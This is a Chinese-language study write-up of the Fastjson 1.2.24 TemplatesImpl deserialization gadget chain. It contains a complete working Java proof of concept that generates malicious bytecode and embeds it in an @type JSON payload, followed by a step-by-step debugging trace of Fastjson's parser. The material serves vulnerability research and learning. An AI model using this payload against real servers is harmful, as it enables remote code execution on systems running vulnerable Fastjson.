FastJson利用鏈
Fastjson的版本在1.2.22-1.2.24主要有兩條鏈利用TemplatsImpl和JdbcRowSetImpl利用鏈先來學習TemplatsImpl利用鏈,這個與前面jdk7u21所用的都是通過defineclass來實例化惡意字節碼導致的任意代碼執行。
1、漏洞復現
組件依賴版本:
<dependencies>
<dependency>
<groupId>commons-codec</groupId>
<artifactId>commons-codec</artifactId>
<version>1.10</version>
</dependency>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.19.0-GA</version>
</dependency>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
</dependencies>
利用鏈:
- JDK7u21
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
poc
package com.akkacloud.demo;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.codec.binary.Base64;
public class fastjsonTest {
public static class test{}
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.get(test.class.getName());
String cmd = "java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\");";
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "akka1" + System.nanoTime();
cc.setName(randomClassName);
cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));
byte[] evilCode = cc.toBytecode();
String evilCode_base64 = Base64.encodeBase64String(evilCode);
System.out.println(evilCode_base64);
final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String payload =
"{\"" +
"@type\":\"" + NASTY_CLASS + "\"," + "\"" +
"_bytecodes\":[\"" + evilCode_base64 + "\"]," +
"'_name':'asd','" +
"_tfactory':{ },\"" +
"_outputProperties\":{ }," + "\"" +
"_version\":\"1.0\",\"" +
"allowedProtocols\":\"all\"}\n";
ParserConfig config = new ParserConfig();
Object obj = JSON.parseObject(payload, Object.class, config, Feature.SupportNonPublicField);
}
}

看完poc,有幾個問題,希望在調試的過程解決他
1.為什么_bytecodes為什么要base64加密
在執行JSON.parseObject()中,會循環獲取所以字段
value = parser.parseObject(clazz, (Object)null);

在com.alibaba.fastjson.serializer.ObjectArrayCodec#deserialze方法會調用byteValue方法,跟進去看看

會調用base64解碼

2._outputProperties使用來干什么的,用來生成getoutputProperties去調用newTransformer
3.parseObject 為什么要設置Feature.SupportNonPublicField,序列化時用來調用private類型的屬性
4._tfactory為什么為{}, 因為在jdk7u21在defineTransletClasses()時會調用getExternalExtensionsMap(),當為null時會報錯
2、漏洞利用條件
- 服務端使用parseObject()時,必須使用如下格式才能觸發漏洞:
JSON.parseObject(input, Object.class, Feature.SupportNonPublicField) - 服務端使用parse()時,需要
JSON.parse(text1,Feature.SupportNonPublicField)
3、漏洞調試
我們在parseObject打下斷點,我們跟進 parseObject方法

進入input為我們的惡意json字符串代碼,第二個是Object的類型,第三個是實例化的ParserConfig,第四個就是序列化時用來調用private類型的屬性,進入他的重載方法多了兩個參數,一個ParseProcess類型的null,一個是整形的DEFAULT_PARSER_FEATURE(989)

進入到了主要的parseObject方法,首先比較一下featureValues和feature,然后實例化了一個DefaultJSONParser,里面存着我們的input(惡意代碼),我們跟進去看

發現繼續調用了重載方法,繼續跟進

進入DefaultJSONParser發現繼續一大堆賦值,我們重點看看lexer,后面會用到,其實lexer是通過new JSONScanner(input, length, features)獲取的

我們先看看JSONScanner的構造方法,把input變成了字符串調用了自己的重載方法,
public JSONScanner(char[] input, int inputLength, int features) {
this(new String(input, 0, inputLength), features);
}
然后把input賦值給了this.text,然后調用了next()方法,跟進next方法

拿到;”{“賦值給this.ch,

所以lexer就是一個存儲了一個惡意字符串的對象
然后我們繼續回到DefaultJSONParser的構造方法,我們跟進lexer.getCurrent()的方法就是用於返回ch的,ch為{

所以進入if,調用lexer的next(),這是后的ch的值為雙引號("),我們看重點lexer.token被賦值為了12

我們繼續回到Json.class,再一次調用了DefaultJSONParser的parseObject的重載方法,繼續跟進去

判斷一下token,因為lexer.token()為12.,然后獲取一個ObjectDeserializer,derializer去調用deserialze方法,把this穿進去了(惡意代碼),跟進去看看

進入來,this被賦值給parser了,判斷是不是GenericArrayType類型,我們傳入的是Object.class,進入else,當type instanceof Class && type != Object.class && type != Serializable.class為ture則調用parser.parseObject(type) 否則調用parser.parse(fieldName),這里肯定是flase的進入parser.parse(fieldName),因為type 就是Object.class。我們繼續跟進

進入他使用了將this.lexer賦值給lexer,就是我們前面分析的DefaultJSONParser的構造方法賦值,且lexer.token()為12.

我們直接看case等於12的,繼續跟進this.parseObject((Map)object, fieldName)

因為token等於12,所以進入else,而ch前面分析過為雙引號("),所以進入if,調用lexer.scanSymbol方法

先看this.symbolTable,存的是@type,

所以key為@type

然后我們越過else,直接看下面的代碼

我們直接來看重點,就是下面這段,判斷key是否為@JSON.DEFAULT_TYPE_KEY,這個其實就是@type,然后進入我if。
if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
ref = lexer.scanSymbol(this.symbolTable, '"');
Class<?> clazz = TypeUtils.loadClass(ref, this.config.getDefaultClassLoader());

其實我們跟進去發現,他就是一個一個字符串的獲取@type字段傳入的值,賦值給ref,ref就是templatesImpl

這是通過TypeUtils.loadClass反射獲取類對象clazz,其實就是templatesImpl
然后到了這里,我們跟進this.config.getDeserializer(clazz)clazz就是templateImpl,this.config就是ParserConfig

判斷是不是Class對象,明顯是,繼續跟進ParserConfig的this.getDeserializer((Class)type, type);

進入之后我們一步一步往下走。

走到這我們也可以發現class就是我們在@type存入的東西TemplatesImpl

在往下走到這行代碼,創建建一個反序列化bean(語譯),我們跟進去
derializer = this.createJavaBeanDeserializer(clazz, (Type)type);

進去發現對clazz進行一系列判斷賦值,繼續走

到了beanInfo = JavaBeanInfo.build(clazz, type, this.propertyNamingStrategy),繼續跟進

進入到JavaBeanInfo.build,我們挑重點來看

第一個圖set

第二個get

@type拿到類之后,通過反射拿到該類所有的方法存入methods,接下來遍歷methods進而獲取get、set方法
如上圖,自動調用set方法的條件是
- 方法名長度大於4
- 非靜態方法
- 返回值為void或當前類
- 方法名以set開頭
- 參數個數為1
如上圖,自動get方法方法的條件是
- 方法名長度大於等於4
- 非靜態方法
- 以get開頭且第4個字母為大寫
- 無傳入參數
- 返回值類型繼承自Collection、Map、AtomicBoolean、AtomicInteger、AtomicLong
我們直接看get這里,循環獲取方法名getOutputProperties,然后進入循環,然后根據紅框,從第四位取起,然后變成小寫,
所以propertyName就是outputProperties

然后就是判斷fieldList這個數組里面有沒有這個方法,沒有就把他加進去,再返回JavaBeanInfo

好了現在我們再回到DefaultJSONParser繼續調試,此時的JavaBeanDeserializer的deserializer是已經包含了beaninfo(存放了outputproperties),我們跟進deserializer.deserialze(this, clazz, fieldName);

進入com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer的deserialze方法,繼續進入兩次重載方法

進入到我們的主要函數,我依然看關鍵節點的數據

第一個可以看出我們的確在this.sortedFieldDeserializers中存入了outputproperties,從構造函數得知this.sortedFieldDeserializers[]就是通過beanInfo賦值得到的。


然后就是循環我們json數據了,太多代碼了,我們繼續看重點,這里的key就是我們json的第二字段存入的值,如下圖,我們跟進去


進入parseField,繼續調用了smartMatch,我們繼續跟進

進入后判斷一下有沒有key的fieldDeserializer,如果沒有就把_bytecodes替換為bytecodes,


我們繼續回到com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer的parseField方法,走到這,繼續跟進

進入到com.alibaba.fastjson.parser.deserializer的DefaultFieldDeserializer的parseField方法

我繼續走到this.setValue(object, value),此處穿的object是TemplatesImpl ,value為惡意代碼類的字節,value就是通過parser讀取出來的


繼續進入setvalue方法

這個過程會在JavaBeanDeserializer循環進行,知道獲取完所有的json字段,直到method != null,我們的json字段中只有_outputProperties符合,成功進入if,然后反射執行,繼續跟進幾個invoke方法進入到TemplatesImpl

TemplatesImpl調用getOutputProperties--》再調用newTransformer,跟jdk7u21鏈和cc2鏈后面一樣的,就不繼續跟了

4、結束
這次的Fastjson的TemplatesImpl鏈花費10個小時,一點點跟,了解一些細節,這條鏈可以說很長,細節也很多,參考了很多大佬的文章。
參考
https://www.cnblogs.com/nice0e3/p/14601670.html#
https://y4er.com/post/fastjson-learn/
